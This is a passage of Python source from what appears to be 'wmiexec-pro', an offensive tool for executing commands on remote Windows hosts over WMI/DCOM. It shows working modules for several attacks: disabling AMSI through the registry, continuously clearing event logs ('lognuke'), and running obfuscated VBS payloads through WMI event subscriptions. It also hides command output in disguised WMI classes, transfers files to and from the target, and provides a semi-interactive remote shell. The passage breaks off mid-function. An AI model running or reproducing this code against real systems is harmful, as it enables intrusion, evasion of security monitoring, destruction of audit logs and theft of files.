/lib/modules/amsi.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from impacket.dcerpc.v5.dtypes import NULL 4 | 5 | 6 | class AMSI(): 7 | def __init__(self, iWbemLevel1Login): 8 | self.iWbemLevel1Login = iWbemLevel1Login 9 | self.logger = logging.getLogger("wmiexec-pro") 10 | 11 | def amsi_Wrapper(self, flag): 12 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 13 | self.iWbemLevel1Login.RemRelease() 14 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv") 15 | if flag == "enable": 16 | self.logger.info("Enabling AMSI bypass.") 17 | StdRegProv.SetDWORDValue(2147483649, "Software\\Microsoft\\Windows Script\\Settings", "AmsiEnable", 0) 18 | elif flag == "disable": 19 | self.logger.info("Disabling AMSI bypass.") 20 | StdRegProv.DeleteValue(2147483649, "Software\\Microsoft\\Windows Script\\Settings", "AmsiEnable") 21 | out = StdRegProv.GetDWORDValue(2147483649, "Software\\Microsoft\\Windows Script\\Settings", "AmsiEnable") 22 | if out.uValue == 0: 23 | self.logger.log(100, "AMSI Bypassed!") 24 | elif not out.uValue: 25 | self.logger.log(100, "Remove AMSI bypass.") -------------------------------------------------------------------------------- /lib/modules/enumrate.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from impacket.dcerpc.v5.dtypes import NULL 4 | 5 | 6 | class ENUM(): 7 | def __init__(self, iWbemLevel1Login): 8 | self.iWbemLevel1Login = iWbemLevel1Login 9 | self.logger = logging.getLogger("wmiexec-pro") 10 | 11 | def basic_Enum(self): 12 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) 13 | self.iWbemLevel1Login.RemRelease() 14 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * from Win32_ComputerSystem") 15 | ComputerSystem = iEnumWbemClassObject.Next(0xffffffff,1)[0] 16 | ComputerSystem = dict(ComputerSystem.getProperties()) 17 | 18 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * from Win32_OperatingSystem") 19 | OperatingSystem = iEnumWbemClassObject.Next(0xffffffff,1)[0] 20 | OperatingSystem = dict(OperatingSystem.getProperties()) 21 | major_Version = int(OperatingSystem["Version"]["value"].split(".")[0]) 22 | 23 | self.logger.log(100, "[+] Hostanme: {}\n[+] Domain: {}\n[+] Manufacturer: {}\n[+] Model: {}\n[+] Architecture: {}\n[+] OS Name: {}\n[+] System version: {}\n[*] Target NT Version is {}".format( 24 | ComputerSystem["DNSHostName"]["value"], 25 | ComputerSystem["Domain"]["value"], 26 | ComputerSystem["Manufacturer"]["value"], 27 | ComputerSystem["Model"]["value"], 28 | ComputerSystem["SystemType"]["value"], 29 | OperatingSystem["Caption"]["value"], 30 | OperatingSystem["Version"]["value"], 31 | 'is under 6, please execute command or enable RDP with "-old" option.' if major_Version < 6 else "higher than 6." 32 | )) 33 | 34 | def tasklist(self): 35 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 36 | self.iWbemLevel1Login.RemRelease() 37 | iEnumWbemClassObject = iWbemServices.ExecQuery("Select Name, CommandLine, Description, ExecutablePath, ProcessId, ParentProcessId, SessionId from Win32_Process") 38 | full_Results = {} 39 | self.logger.info("Retrieving process list") 40 | while True: 41 | try: 42 | tmp_dict = {} 43 | query = iEnumWbemClassObject.Next(0xffffffff,1)[0] 44 | record = dict(query.getProperties()) 45 | tmp_dict["Name"] = record["Name"]["value"] 46 | tmp_dict["CommandLine"] = record["CommandLine"]["value"] 47 | tmp_dict["Description"] = record["Description"]["value"] 48 | tmp_dict["ExecutablePath"] = record["ExecutablePath"]["value"] 49 | tmp_dict["ProcessId"] = record["ProcessId"]["value"] 50 | tmp_dict["ParentProcessId"] = record["ParentProcessId"]["value"] 51 | tmp_dict["SessionId"] = record["SessionId"]["value"] 52 | full_Results[tmp_dict["Name"]] = tmp_dict 53 | except Exception as e: 54 | if str(e).find("S_FALSE") < 0: 55 | pass 56 | else: 57 | break 58 | iEnumWbemClassObject.RemRelease() 59 | 60 | for name, process in sorted(full_Results.items()): 61 | self.logger.info(f"Process Name: {process['Name'] or 'N/A'}") 62 | self.logger.info(f"Process ID: {process['ProcessId'] or 'N/A'}") 63 | self.logger.info(f"Parent Process ID: {process['ParentProcessId'] or 'N/A'}") 64 | self.logger.info(f"Session ID: {process['SessionId'] or 'N/A'}") 65 | self.logger.info(f"Description: {process['Description'] or 'N/A'}") 66 | self.logger.info(f"Executable Path: {process['ExecutablePath'] or 'N/A'}") 67 | self.logger.info(f"Command Line: {process['CommandLine'] or 'N/A'}") 68 | self.logger.info("-" * 100) 69 | self.logger.info(f"Total Processes: {len(full_Results)}") -------------------------------------------------------------------------------- /lib/modules/eventlog_fucker.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from lib.methods.executeVBS import executeVBS_Toolkit 4 | from lib.helpers import get_vbs_path 5 | 6 | 7 | class eventlog_Toolkit(): 8 | def __init__(self, iWbemLevel1Login): 9 | self.iWbemLevel1Login = iWbemLevel1Login 10 | self.logger = logging.getLogger("wmiexec-pro") 11 | 12 | def fuck_EventLog(self): 13 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 14 | tag = executer.ExecuteVBS(vbs_file="lib/vbscripts/ClearEventlog.vbs", returnTag=True) 15 | self.logger.warning(f"Keepping note of this tag if you want to stop it: {tag}") 16 | 17 | def retrieve_EventLog(self, tag): 18 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 19 | executer.remove_Event(tag) 20 | self.logger.info("Stop fucking eventlog :)") -------------------------------------------------------------------------------- /lib/modules/exec_command.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | import time 3 | import base64 4 | import os 5 | import sys 6 | import datetime 7 | import cmd 8 | import re 9 | import logging 10 | 11 | from lib.modules.filetransfer import filetransfer_Toolkit 12 | from lib.methods.classMethodEx import class_MethodEx 13 | from lib.methods.executeVBS import executeVBS_Toolkit 14 | from lib.methods.Obfuscator import VBSObfuscator 15 | from impacket.dcerpc.v5.dtypes import NULL 16 | from lib.helpers import get_vbs_path 17 | 18 | 19 | class EXEC_COMMAND(): 20 | def __init__(self, iWbemLevel1Login, codec): 21 | self.iWbemLevel1Login = iWbemLevel1Login 22 | self.codec = codec 23 | self.timeout = 5 24 | self.obfu = VBSObfuscator() 25 | self.logger = logging.getLogger("wmiexec-pro") 26 | self.logger_countdown = logging.getLogger("CountdownLogger") 27 | 28 | def save_ToFile(self, hostname, content): 29 | path = os.path.join("save", hostname) 30 | save_FileName = f"{str(int(time.time()))}.txt" 31 | 32 | if not os.path.exists(path): 33 | os.makedirs(path, exist_ok=True) 34 | 35 | result = os.path.join(path, save_FileName) 36 | with open(result, "w") as f: 37 | f.write(content) 38 | 39 | self.logger.log(100, f"Save command result to {result}") 40 | 41 | # For system under NT6, like windows server 2003 42 | # Timer for countdown Win32_ScheduledJob, scheduled task in "Win32_ScheduledJob" only will be trigger every per minute. 43 | def timer_For_UnderNT6(self, iWbemServices=None, return_iWbemServices=False): 44 | if not iWbemServices: 45 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) 46 | self.iWbemLevel1Login.RemRelease() 47 | 48 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_LocalTime") 49 | LocalTime = iEnumWbemClassObject.Next(0xffffffff,1)[0] 50 | LocalTime = dict(LocalTime.getProperties()) 51 | 52 | # Get remaining seconds until the next minute. 53 | for i in range((65 - int(LocalTime["Second"]["value"])),0,-1): 54 | self.logger_countdown.info(f"Waiting {i}s for command execution.\r") 55 | time.sleep(1) 56 | 57 | self.logger.log(100, "Command executed!") 58 | 59 | # Return cimv2 60 | if return_iWbemServices: 61 | return iWbemServices 62 | 63 | # For system under NT6, like windows server 2003 64 | def exec_command_silent_For_UnderNT6(self, command=None): 65 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) 66 | self.iWbemLevel1Login.RemRelease() 67 | 68 | wql1 = "SELECT * FROM Win32_LocalTime" 69 | wql2 = "SELECT * FROM Win32_TimeZone" 70 | 71 | iEnumWbemClassObject = iWbemServices.ExecQuery(wql1) 72 | Win32_LocalTime = iEnumWbemClassObject.Next(0xffffffff, 1)[0] 73 | 74 | Machine_Date = datetime.datetime(100, 1, 1, int(Win32_LocalTime.Hour), int(Win32_LocalTime.Minute), 00) 75 | execute_time = (Machine_Date + datetime.timedelta(0, 60)).time() # Delay one miniute for command execution 76 | 77 | iEnumWbemClassObject = iWbemServices.ExecQuery(wql2) 78 | Win32_TimeZone = iEnumWbemClassObject.Next(0xffffffff, 1)[0] 79 | 80 | executeTime = "********{}.000000+{}".format( 81 | str(execute_time).replace(":", ""), 82 | str(Win32_TimeZone.Bias) 83 | ) 84 | command = f"C:\\Windows\\System32\\cmd.exe /Q /c {command}" 85 | Win32_ScheduledJob, resp = iWbemServices.GetObject("Win32_ScheduledJob") 86 | result = Win32_ScheduledJob.Create(command, executeTime, 0, 0, 0, 1) 87 | if int(result.ReturnValue) == 0: 88 | self.logger.log(100, "Create schedule job for command execution successfully.") 89 | else: 90 | self.logger.error(f"Create schedule job for command execution error, code: {result.ReturnValue!s}") 91 | 92 | self.timer_For_UnderNT6(iWbemServices) 93 | 94 | def exec_command_silent(self, command, old=False): 95 | if "'" in command: 96 | command = command.replace("'", '"') 97 | 98 | if old: 99 | # Windows will auto remove job after schedule job executed. 100 | self.exec_command_silent_For_UnderNT6(command) 101 | else: 102 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 103 | random_TaskName = str(uuid.uuid4()) 104 | 105 | self.logger.info("Executing command...(Sometime it will take a long time, please wait)") 106 | 107 | with open(get_vbs_path("Exec-Command-Silent.vbs")) as f: 108 | vbs = f.read() 109 | 110 | vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_TASK", random_TaskName) 111 | 112 | # Experimental: use timer instead of filter query 113 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True) 114 | #filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" 115 | #tag = executer.ExecuteVBS(vbs_content=vbs, filer_Query=filer_Query, returnTag=True) 116 | 117 | # Wait 5 seconds for next step. 118 | for i in range(self.timeout,0,-1): 119 | self.logger_countdown.info(f"Waiting {i}s for next step.\r") 120 | time.sleep(1) 121 | 122 | executer.remove_Event(tag) 123 | 124 | def exec_command_WithOutput(self, command, ClassName_StoreOutput=None, save_Result=False, hostname=None, old=False): 125 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 126 | if not ClassName_StoreOutput: 127 | ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup" 128 | 129 | FileName = f"windows-object-{uuid.uuid4()!s}.log" 130 | CMD_instanceID = str(uuid.uuid4()) 131 | random_TaskName = str(uuid.uuid4()) 132 | 133 | if "'" in command: 134 | command = command.replace("'", '"') 135 | 136 | # Reuse cimv2 namespace to avoid dcom limition 137 | class_Method = class_MethodEx(self.iWbemLevel1Login) 138 | iWbemServices_Reuse_cimv2, _ = class_Method.check_ClassStatus(ClassName=ClassName_StoreOutput, return_iWbemServices=True) 139 | 140 | self.logger.info("Executing command...(Sometime it will take a long time, please wait)") 141 | 142 | if old: 143 | # Experimental: use timer instead of filter query 144 | with open(get_vbs_path("Exec-Command-WithOutput-UnderNT6.vbs")) as f: 145 | vbs = f.read() 146 | vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID) 147 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True) 148 | 149 | # Reuse cimv2 150 | iWbemServices_Reuse_cimv2 = self.timer_For_UnderNT6(iWbemServices=iWbemServices_Reuse_cimv2, return_iWbemServices=True) 151 | else: 152 | # Experimental: use timer instead of filter query 153 | with open(get_vbs_path("Exec-Command-WithOutput.vbs")) as f: 154 | vbs = f.read() 155 | vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName) 156 | tag = executer.ExecuteVBS(vbs_content=self.obfu.generator(vbs), returnTag=True) 157 | #filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" 158 | #tag = executer.ExecuteVBS(vbs_content=vbs, filer_Query=filer_Query, returnTag=True) 159 | 160 | # Wait 5 seconds for next step. 161 | for i in range(self.timeout,0,-1): 162 | self.logger_countdown.info(f"Waiting {i}s for next step.\r") 163 | time.sleep(1) 164 | 165 | executer.remove_Event(tag) 166 | 167 | try: 168 | command_ResultObject, resp = iWbemServices_Reuse_cimv2.GetObject('{}.CreationClassName="{}"'.format(ClassName_StoreOutput, CMD_instanceID)) 169 | except Exception as e: 170 | if "WBEM_E_INVALID_CLASS" in str(e): 171 | self.logger.error(f"Class {ClassName_StoreOutput} didn't existed!") 172 | elif "WBEM_E_NOT_FOUND" in str(e): 173 | self.logger.error("Get command results failed, probably you may need to increase interval time.") 174 | else: 175 | self.logger.error(f"Unexpected error: {e!s}") 176 | else: 177 | self.logger.info("Retrieving command results...") 178 | record = dict(command_ResultObject.getProperties()) 179 | result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace") 180 | self.logger.log(100, result) 181 | 182 | if save_Result and hostname: 183 | self.save_ToFile(hostname, result) 184 | 185 | def clear(self, ClassName_StoreOutput=None): 186 | # Can't remote delete file via CIM_DataFile class, not thing happened after invoke Delete method of instance. 187 | if not ClassName_StoreOutput: 188 | ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup" 189 | 190 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 191 | class_Method = class_MethodEx(self.iWbemLevel1Login) 192 | 193 | self.logger.info("Cleanning temporary files and class.") 194 | 195 | with open(get_vbs_path("RemoveTempFile.vbs")) as f: 196 | vbs = f.read() 197 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True) 198 | 199 | # Wait 5 seconds for next step. 200 | for i in range(self.timeout,0,-1): 201 | self.logger_countdown.info(f"Waiting {i}s for next step.\r") 202 | time.sleep(1) 203 | 204 | executer.remove_Event(tag) 205 | 206 | class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices_Cimv2=False) 207 | 208 | class EXEC_COMMAND_SHELL(cmd.Cmd): 209 | def __init__(self, iWbemLevel1Login, dcom, codec, addr): 210 | cmd.Cmd.__init__(self) 211 | self.iWbemLevel1Login = iWbemLevel1Login 212 | self.dcom = dcom 213 | self.codec = codec 214 | self.hostname = addr 215 | self.ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup" 216 | self.save_Path = os.path.join("save", self.hostname) 217 | self.save_fileName = f"{int(time.time())!s}.txt" 218 | self.logging = False 219 | self.interval = 5 220 | self.cwd = "C:\\Windows\\System32" 221 | self.prompt = f"{self.cwd}>" 222 | self.intro = "[!] Launching semi-interactive shell - Careful what you execute" 223 | self.history = [] 224 | 225 | self.executer = executeVBS_Toolkit(self.iWbemLevel1Login) 226 | self.fileTransfer = filetransfer_Toolkit(self.iWbemLevel1Login, self.dcom) 227 | self.obfu = VBSObfuscator() 228 | 229 | self.logger = logging.getLogger("wmiexec-pro") 230 | self.logger_countdown = logging.getLogger("CountdownLogger") 231 | 232 | # Reuse cimv2 namespace to avoid dcom limition 233 | class_Method = class_MethodEx(self.iWbemLevel1Login) 234 | self.iWbemServices_Reuse_cimv2, self.iWbemServices_Reuse_subscription = class_Method.check_ClassStatus(self.ClassName_StoreOutput, return_iWbemServices=True) 235 | 236 | def do_help(self, line): 237 | print(""" 238 | sleep {seconds} - set interval time in command execution (default is 5 seconds). 239 | lognuke - enable looping cleaning eventlog. 240 | upload {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) 241 | download {src_file} - downloads pathname to the current local dir 242 | logging - log everythings. 243 | codec {code} - set encoding code 244 | history - show history commands 245 | clear - clean the screen 246 | exit - exit. 247 | """) 248 | 249 | def do_upload(self, params): 250 | import ntpath 251 | 252 | params = params.split(" ") 253 | if len(params) > 1: 254 | src_file = params[0] 255 | dst_path = params[1] 256 | elif len(params) == 1: 257 | src_file = params[0] 258 | dst_path = self.cwd 259 | 260 | filename = src_file.replace("\\", "/").split("/")[-1] 261 | dst_file = ntpath.join(ntpath.join(self.cwd, dst_path), filename) 262 | 263 | self.fileTransfer.uploadFile(src_File=src_file, dest_File=dst_file, iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2) 264 | 265 | def do_download(self, src_file): 266 | import ntpath 267 | 268 | newPath = ntpath.normpath(ntpath.join(self.cwd, src_file)) 269 | drive, tail = ntpath.splitdrive(newPath) 270 | filename = ntpath.basename(tail) 271 | 272 | self.fileTransfer.downloadFile(target_File=newPath, save_Location=os.path.join(".", filename), iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2) 273 | 274 | def do_sleep(self, seconds): 275 | self.interval = int(seconds) 276 | self.logger.info(f"Set interval time to: {self.interval!s}") 277 | 278 | def do_lognuke(self, line): 279 | self.executer.ExecuteVBS(vbs_file="lib/vbscripts/ClearEventlog.vbs", iWbemServices=self.iWbemServices_Reuse_subscription) 280 | self.logger.log(100, "Nuke is landed and log cleaning will never stop before use '-deep-clean' in 'execute-vbs' module") 281 | 282 | def do_logging(self, line): 283 | self.logger.info(f"Start logging and save the result to: {os.path.join(self.save_Path, self.save_fileName)}") 284 | self.logging = True 285 | 286 | def do_codec(self, line): 287 | if all([line]): 288 | self.codec = line 289 | self.logger.log(100, f"Set encoding code to: {self.codec}") 290 | else: 291 | self.logger.info(f"Current encoding code: {self.codec}") 292 | 293 | def do_history(self, line): 294 | for i in range(0, len(self.history)): 295 | print(f" {i+1!s} {self.history[i]}") 296 | 297 | def do_clear(self, line): 298 | os.system("clear") 299 | 300 | def emptyline(self): 301 | return False 302 | 303 | def do_exit(self, line): 304 | self.dcom.disconnect() 305 | sys.exit(1) 306 | 307 | def interval_Timer(self, seconds): 308 | for i in range(seconds,0,-1): 309 | self.logger_countdown.info(f"Waiting {i}s for next step.\r") 310 | time.sleep(1) 311 | self.logger.log(100, "Results:\n") 312 | 313 | def save_ToFile(self, content): 314 | if not os.path.exists(self.save_Path): 315 | os.makedirs(self.save_Path, exist_ok=True) 316 | 317 | with open(os.path.join(self.save_Path, self.save_fileName), "a+") as f: 318 | f.write(content) 319 | 320 | def process_Result(self, result, command): 321 | tmp_list = re.split("\\[COMMAND\\]|\\[PATH\\]", result) 322 | self.cwd = tmp_list[2].strip("\r\n").lstrip() 323 | cmd_Result = tmp_list[1].strip("\r\n").lstrip() 324 | self.prompt = f"{self.cwd}>" 325 | print(f"{cmd_Result}\n") 326 | 327 | if self.logging: 328 | content = f"{self.prompt} {command}\r\n\r\n{cmd_Result}\r\n\r\n" 329 | self.save_ToFile(content) 330 | 331 | def default(self, line): 332 | # history 333 | self.history.append(line) 334 | 335 | FileName = f"windows-object-{uuid.uuid4()!s}.log" 336 | CMD_instanceID = str(uuid.uuid4()) 337 | random_TaskName = str(uuid.uuid4()) 338 | 339 | command = line 340 | if "'" in command: 341 | command = command.replace("'", '"') 342 | 343 | with open(get_vbs_path("Exec-Command-WithOutput-Shell.vbs")) as f: 344 | vbs = f.read() 345 | vbs = vbs.replace("REPLACE_WITH_CWD", base64.b64encode(self.cwd.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", self.ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName) 346 | # Reuse subscription namespace to avoid dcom limition 347 | 348 | vbs = self.obfu.generator(vbs) 349 | if not self.iWbemServices_Reuse_subscription: 350 | tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteVBS(vbs_content=vbs, returnTag=True, BlockVerbose=True, return_iWbemServices=True) 351 | else: 352 | tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteVBS(vbs_content=vbs, returnTag=True, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription ,return_iWbemServices=True) 353 | 354 | # Wait 5 seconds for next step. 355 | self.interval_Timer(self.interval) 356 | 357 | self.executer.remove_Event(tag, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription) 358 | 359 | try: 360 | command_ResultObject, resp = self.iWbemServices_Reuse_cimv2.GetObject(f'{self.ClassName_StoreOutput}.CreationClassName="{CMD_instanceID}"') 361 | record = dict(command_ResultObject.getProperties()) 362 | except Exception as e: 363 | if "WBEM_E_NOT_FOUND" in str(e): 364 | self.logger.error("Get command results failed, probably you may need to increase interval time.") 365 | else: 366 | self.logger.error(f"Unknown error: {e!s}") 367 | else: 368 | result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace") 369 | self.process_Result(result, line) 370 | -------------------------------------------------------------------------------- /lib/modules/filetransfer.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import base64 3 | import time 4 | import sys 5 | import uuid 6 | 7 | from lib.methods.classMethodEx import class_MethodEx 8 | from lib.methods.executeVBS import executeVBS_Toolkit 9 | from impacket.dcerpc.v5.dtypes import NULL 10 | from lib.helpers import get_vbs_path 11 | 12 | 13 | class filetransfer_Toolkit(): 14 | def __init__(self, iWbemLevel1Login, dcom): 15 | self.iWbemLevel1Login = iWbemLevel1Login 16 | self.dcom = dcom 17 | self.timeout = 5 # default timeout 18 | 19 | self.logger = logging.getLogger("wmiexec-pro") 20 | self.logger_countdown = logging.getLogger("CountdownLogger") 21 | 22 | def queryfile_Status(self, file, iWbemServices=None, return_iWbemServices=False): 23 | if not iWbemServices: 24 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) 25 | self.iWbemLevel1Login.RemRelease() 26 | try: 27 | self.logger.info(f"Checking target file {file} info") 28 | # WQL from ghostpack/sharpwmi 29 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT * from CIM_DataFile WHERE Name = "{file}"') 30 | file_Class = iEnumWbemClassObject.Next(0xffffffff,1)[0] 31 | except Exception as e: 32 | if "WBEM_S_FALSE" in str(e): 33 | self.logger.error(f"File {file} not existed!") 34 | else: 35 | self.logger.error(f"Unexpected error when checking file: {file}, error: {e!s}") 36 | self.dcom.disconnect() 37 | sys.exit(0) 38 | else: 39 | file_Status = dict(file_Class.getProperties()) 40 | self.logger.log(100, "File status: {}, File size: {} KB, File location: {}".format( 41 | file_Status["Status"]["value"], 42 | file_Status["FileSize"]["value"]/1024, 43 | file_Status["Caption"]["value"] 44 | ) 45 | ) 46 | 47 | # Return cimv2 48 | if return_iWbemServices: 49 | return iWbemServices 50 | 51 | # For upload file, we don't need to create class, we can make binary included in vbs script(file dropper). 52 | # After vbs interval job created, then release your file. 53 | def uploadFile(self, src_File, dest_File, iWbemServices_Subscription=None, iWbemServices_Cimv2=None): 54 | with open(src_File, "rb") as f: 55 | binary = f.read() 56 | binary_EncodeData = base64.b64encode(binary).decode("ascii") 57 | 58 | with open(get_vbs_path("WriteFile.vbs")) as f: 59 | vbs = f.read() 60 | vbs = vbs.replace("REPLACE_WITH_DEST", base64.b64encode(dest_File.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_DATA", binary_EncodeData) 61 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 62 | 63 | self.logger.info("File uploading (will take a long time if you try to upload large size file)") 64 | 65 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription) 66 | 67 | # Wait 5 seconds for windows decode file. 68 | for i in range(self.timeout, 0, -1): 69 | self.logger_countdown.info(f"Waiting {i}s for next step.\r") 70 | time.sleep(1) 71 | 72 | # Check dest file status, Cimv2 73 | self.queryfile_Status(dest_File.replace("\\", "\\\\"), iWbemServices=iWbemServices_Cimv2) 74 | 75 | # Clean up 76 | self.logger.info("Stop vbs interval execution after created class") 77 | executer.remove_Event(tag, iWbemServices=iWbemServices_Subscription) 78 | 79 | # For download file, we can write file data into wmi class 80 | def downloadFile(self, target_File, save_Location=None, ClassName_ForDownload=None, iWbemServices_Subscription=None, iWbemServices_Cimv2=None): 81 | class_Method = class_MethodEx(self.iWbemLevel1Login) 82 | # Default class name for download file 83 | if not ClassName_ForDownload: 84 | ClassName_ForDownload = "Win32_OSRecoveryConfigurationDataStorage" 85 | 86 | # Check target file status. 87 | # Reuse cimv2 iWbemServices object to avoid DCOM iWbemServices 88 | iWbemServices_Reuse = self.queryfile_Status(target_File.replace("\\", "\\\\"), return_iWbemServices=True, iWbemServices=iWbemServices_Cimv2) 89 | 90 | # Reuse cimv2 namespace 91 | self.logger.info("Create evil class for file transfer") 92 | class_Method.check_ClassStatus(ClassName=ClassName_ForDownload, iWbemServices_Cimv2=iWbemServices_Reuse, iWbemServices_Subscription=iWbemServices_Subscription) 93 | 94 | # Load target file into class 95 | self.logger.info("Converting file to base64 string and load it into wmi class.") 96 | Data_InstanceID = str(uuid.uuid4()) 97 | with open(get_vbs_path("LocalFileIntoClass.vbs")) as f: 98 | vbs = f.read() 99 | vbs = vbs.replace("REPLACE_WITH_TARGET_FILE", base64.b64encode(target_File.encode("utf-8")).decode("utf-8")).replace("RELEACE_WITH_UUID", Data_InstanceID).replace("REPLACE_WITH_CLASSNAME", ClassName_ForDownload) 100 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 101 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription) 102 | 103 | # Wait 5 seconds for next step. 104 | for i in range(self.timeout, 0, -1): 105 | self.logger_countdown.info(f"Waiting {i}s for next step.\r") 106 | time.sleep(1) 107 | 108 | # Read encode data from wmi class 109 | self.logger.info("File downloading...") 110 | Data_Instance, resp = iWbemServices_Reuse.GetObject(f'{ClassName_ForDownload}.CreationClassName="{Data_InstanceID}"') 111 | record = dict(Data_Instance.getProperties()) 112 | with open(save_Location, "wb") as f: 113 | f.write(base64.b64decode(record["DebugOptions"]["value"])) 114 | 115 | self.logger.log(100, f"File downloaded and save to: {save_Location}") 116 | 117 | self.logger.info("Stop vbs interval execution after file downloaded") 118 | executer.remove_Event(tag, iWbemServices=iWbemServices_Subscription) 119 | 120 | def clear(self, ClassName_StoreOutput=None): 121 | if not ClassName_StoreOutput: 122 | ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataStorage" 123 | 124 | class_Method = class_MethodEx(self.iWbemLevel1Login) 125 | class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices_Cimv2=False) -------------------------------------------------------------------------------- /lib/modules/firewall.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import sys 4 | 5 | from io import StringIO 6 | from impacket.dcerpc.v5.dtypes import NULL 7 | 8 | from lib.checkError import checkError 9 | 10 | 11 | class Firewall_Toolkit: 12 | def __init__(self, iWbemLevel1Login): 13 | self.iWbemLevel1Login = iWbemLevel1Login 14 | self.logger = logging.getLogger("wmiexec-pro") 15 | 16 | def port_Searcher(self, port, returnID = False): 17 | self.logger.info(f"Searching rule include the specified port: {port}") 18 | id_List = [] 19 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL) 20 | self.iWbemLevel1Login.RemRelease() 21 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT InstanceID, LocalPort, Protocol, RemotePort FROM MSFT_NetProtocolPortFilter") 22 | while True: 23 | try: 24 | firewall_PortClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] 25 | record = dict(firewall_PortClass.getProperties()) 26 | for i in record["LocalPort"]["value"]: 27 | if str(port) == i and record["InstanceID"]["value"]: 28 | result = self.instanceID_Searcher(record["InstanceID"]["value"], iWbemServices) 29 | if not returnID: 30 | result = "[+] Rule id: {}, DisplayName: {}, Direction: {}, Port: {}, Action: {}, Status: {}".format( 31 | record["InstanceID"]["value"], 32 | result["DisplayName"], 33 | result["Direction"], 34 | record["LocalPort"]["value"], 35 | result["Action"], 36 | result["Status"] 37 | ) 38 | self.logger.log(100, result) 39 | if returnID: 40 | id_List.append(record["InstanceID"]["value"]) 41 | except Exception as e: 42 | if str(e).find("S_FALSE") < 0: 43 | pass 44 | else: 45 | break 46 | iEnumWbemClassObject.RemRelease() 47 | if returnID: 48 | return id_List 49 | 50 | def instanceID_Searcher(self, ID, iWbemServices=None): 51 | # If user do NTLMLogin operate to many time, then will cause RPC_E_DISCONNECTED exception(DCOM connection rate limit) 52 | # So, we can keep using iWbemServices object from port_Searcher when doing enumeration, and do newlogin when doing invoke this function. 53 | if not iWbemServices: 54 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL) 55 | self.iWbemLevel1Login.RemRelease() 56 | tmp_dict = {} 57 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT DisplayName, InstanceID, Direction, Action, Enabled FROM MSFT_NetFirewallRule where InstanceID = "{ID}"') 58 | 